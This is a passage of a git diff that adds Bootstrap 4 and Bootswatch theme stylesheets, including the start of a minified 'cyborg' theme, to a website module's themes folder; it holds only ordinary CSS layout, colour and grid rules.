padding-right: 3rem !important + } + + .pb-xl-5, .py-xl-5 { + padding-bottom: 3rem !important + } + + .pl-xl-5, .px-xl-5 { + padding-left: 3rem !important + } + + .m-xl-auto { + margin: auto !important + } + + .mt-xl-auto, .my-xl-auto { + margin-top: auto !important + } + + .mr-xl-auto, .mx-xl-auto { + margin-right: auto !important + } + + .mb-xl-auto, .my-xl-auto { + margin-bottom: auto !important + } + + .ml-xl-auto, .mx-xl-auto { + margin-left: auto !important + } +} + +.text-justify { + text-align: justify !important +} + +.text-nowrap { + white-space: nowrap !important +} + +.text-truncate { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap +} + +.text-left { + text-align: left !important +} + +.text-right { + text-align: right !important +} + +.text-center { + text-align: center !important +} + +@media (min-width: 576px) { + .text-sm-left { + text-align: left !important + } + + .text-sm-right { + text-align: right !important + } + + .text-sm-center { + text-align: center !important + } +} + +@media (min-width: 768px) { + .text-md-left { + text-align: left !important + } + + .text-md-right { + text-align: right !important + } + + .text-md-center { + text-align: center !important + } +} + +@media (min-width: 992px) { + .text-lg-left { + text-align: left !important + } + + .text-lg-right { + text-align: right !important + } + + .text-lg-center { + text-align: center !important + } +} + +@media (min-width: 1200px) { + .text-xl-left { + text-align: left !important + } + + .text-xl-right { + text-align: right !important + } + + .text-xl-center { + text-align: center !important + } +} + +.text-lowercase { + text-transform: lowercase !important +} + +.text-uppercase { + text-transform: uppercase !important +} + +.text-capitalize { + text-transform: capitalize !important +} + +.font-weight-light { + font-weight: 300 !important +} + +.font-weight-normal { + font-weight: 400 !important +} + +.font-weight-bold { + font-weight: 700 !important +} + +.font-italic { + font-style: italic !important +} + +.text-white { + color: #fff !important +} + +.text-primary { + color: #2FA4E7 !important +} + +a.text-primary:hover, a.text-primary:focus { + color: #178acc !important +} + +.text-secondary { + color: #e9ecef !important +} + +a.text-secondary:hover, a.text-secondary:focus { + color: #cbd3da !important +} + +.text-success { + color: #73A839 !important +} + +a.text-success:hover, a.text-success:focus { + color: #59822c !important +} + +.text-info { + color: #033C73 !important +} + +a.text-info:hover, a.text-info:focus { + color: #022241 !important +} + +.text-warning { + color: #DD5600 !important +} + +a.text-warning:hover, a.text-warning:focus { + color: #aa4200 !important +} + +.text-danger { + color: #C71C22 !important +} + +a.text-danger:hover, a.text-danger:focus { + color: #9a161a !important +} + +.text-light { + color: #f8f9fa !important +} + +a.text-light:hover, a.text-light:focus { + color: #dae0e5 !important +} + +.text-dark { + color: #343a40 !important +} + +a.text-dark:hover, a.text-dark:focus { + color: #1d2124 !important +} + +.text-muted { + color: #868e96 !important +} + +.text-hide { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0 +} + +.visible { + visibility: visible !important +} + +.invisible { + visibility: hidden !important +} + +@media print { + *, *::before, *::after { + text-shadow: none !important; + -webkit-box-shadow: none !important; + box-shadow: none !important + } + + a:not(.btn) { + text-decoration: underline + } + + abbr[title]::after { + content: " (" attr(title) ")" + } + + pre { + white-space: pre-wrap !important + } + + pre, blockquote { + border: 1px solid #999; + page-break-inside: avoid + } + + thead { + display: table-header-group + } + + tr, img { + page-break-inside: avoid + } + + p, h2, h3 { + orphans: 3; + widows: 3 + } + + h2, h3 { + page-break-after: avoid + } + + @page { + size: a3 + } + + body { + min-width: 992px !important + } + + .container { + min-width: 992px !important + } + + .navbar { + display: none + } + + .badge { + border: 1px solid #000 + } + + .table { + border-collapse: collapse !important + } + + .table td, .table th { + background-color: #fff !important + } + + .table-bordered th, .table-bordered td { + border: 1px solid #ddd !important + } +} + +.bg-primary { + background-image: -webkit-gradient(linear, left top, left bottom, from(#54b4eb), color-stop(60%, #2FA4E7), to(#1d9ce5)); + background-image: linear-gradient(#54b4eb, #2FA4E7 60%, #1d9ce5); + background-repeat: no-repeat +} + +.bg-dark { + background-image: -webkit-gradient(linear, left top, left bottom, from(#04519b), color-stop(60%, #033C73), to(#02325f)); + background-image: linear-gradient(#04519b, #033C73 60%, #02325f); + background-repeat: no-repeat +} + +.bg-light { + background-image: -webkit-gradient(linear, left top, left bottom, from(white), color-stop(60%, #e9ecef), to(#e3e7eb)); + background-image: linear-gradient(white, #e9ecef 60%, #e3e7eb); + background-repeat: no-repeat +} + +.navbar-brand, .nav-link { + text-shadow: 0 1px 0 rgba(0, 0, 0, 0.05) +} + +.btn { + text-shadow: 0 1px 0 rgba(0, 0, 0, 0.05) +} + +.btn-primary { + background-image: -webkit-gradient(linear, left top, left bottom, from(#54b4eb), color-stop(60%, #2FA4E7), to(#1d9ce5)); + background-image: linear-gradient(#54b4eb, #2FA4E7 60%, #1d9ce5); + background-repeat: no-repeat +} + +.btn-secondary { + background-image: -webkit-gradient(linear, left top, left bottom, from(white), color-stop(60%, #e9ecef), to(#dde2e6)); + background-image: linear-gradient(white, #e9ecef 60%, #dde2e6); + background-repeat: no-repeat; + color: #495057 +} + +.btn-success { + background-image: -webkit-gradient(linear, left top, left bottom, from(#88c149), color-stop(60%, #73A839), to(#699934)); + background-image: linear-gradient(#88c149, #73A839 60%, #699934); + background-repeat: no-repeat +} + +.btn-info { + background-image: -webkit-gradient(linear, left top, left bottom, from(#04519b), color-stop(60%, #033C73), to(#02325f)); + background-image: linear-gradient(#04519b, #033C73 60%, #02325f); + background-repeat: no-repeat +} + +.btn-warning { + background-image: -webkit-gradient(linear, left top, left bottom, from(#ff6707), color-stop(60%, #DD5600), to(#c94e00)); + background-image: linear-gradient(#ff6707, #DD5600 60%, #c94e00); + background-repeat: no-repeat +} + +.btn-danger { + background-image: -webkit-gradient(linear, left top, left bottom, from(#e12b31), color-stop(60%, #C71C22), to(#b5191f)); + background-image: linear-gradient(#e12b31, #C71C22 60%, #b5191f); + background-repeat: no-repeat +} + +.bg-primary h1, .bg-primary h2, .bg-primary h3, .bg-primary h4, .bg-primary h5, .bg-primary h6, .bg-success h1, .bg-success h2, .bg-success h3, .bg-success h4, .bg-success h5, .bg-success h6, .bg-info h1, .bg-info h2, .bg-info h3, .bg-info h4, .bg-info h5, .bg-info h6, .bg-warning h1, .bg-warning h2, .bg-warning h3, .bg-warning h4, .bg-warning h5, .bg-warning h6, .bg-danger h1, .bg-danger h2, .bg-danger h3, .bg-danger h4, .bg-danger h5, .bg-danger h6, .bg-dark h1, .bg-dark h2, .bg-dark h3, .bg-dark h4, .bg-dark h5, .bg-dark h6 { + color: #fff +} diff --git a/modules/services/unix/http/parameterised_website/files/themes/cyborg.min.css b/modules/services/unix/http/parameterised_website/files/themes/cyborg.min.css new file mode 100644 index 000000000..e327b2ec2 --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/cyborg.min.css @@ -0,0 +1,12 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@import url("https://fonts.googleapis.com/css?family=Roboto:400,700");:root{--blue:#2A9FD6;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#CC0000;--orange:#fd7e14;--yellow:#FF8800;--green:#77B300;--teal:#20c997;--cyan:#9933CC;--white:#fff;--gray:#555;--gray-dark:#222;--primary:#2A9FD6;--secondary:#555;--success:#77B300;--info:#9933CC;--warning:#FF8800;--danger:#CC0000;--light:#f8f9fa;--dark:#222;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,*::before,*::after{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:"Roboto", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;font-size:0.875rem;font-weight:400;line-height:1.5;color:#888;text-align:left;background-color:#060606}[tabindex="-1"]:focus{outline:0 !important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#2A9FD6;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#1d7097;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre,code,kbd,samp{font-family:monospace, monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:#555;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{padding:0;border-style:none}input[type="radio"],input[type="checkbox"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{outline-offset:-2px;-webkit-appearance:none}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{margin-bottom:0.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:#fff}h1,.h1{font-size:4rem}h2,.h2{font-size:3rem}h3,.h3{font-size:2.5rem}h4,.h4{font-size:2rem}h5,.h5{font-size:1.5rem}h6,.h6{font-size:0.875rem}.lead{font-size:1.09375rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.09375rem}.blockquote-footer{display:block;font-size:80%;color:#555}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#060606;border:1px solid #dee2e6;border-radius:0.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#555}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:0.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width: 576px){.container{max-width:540px}}@media (min-width: 768px){.container{max-width:720px}}@media (min-width: 992px){.container{max-width:960px}}@media (min-width: 1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*="col-"]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}@media (min-width: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}}@media (min-width: 768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}}@media (min-width: 992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}}@media (min-width: 1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 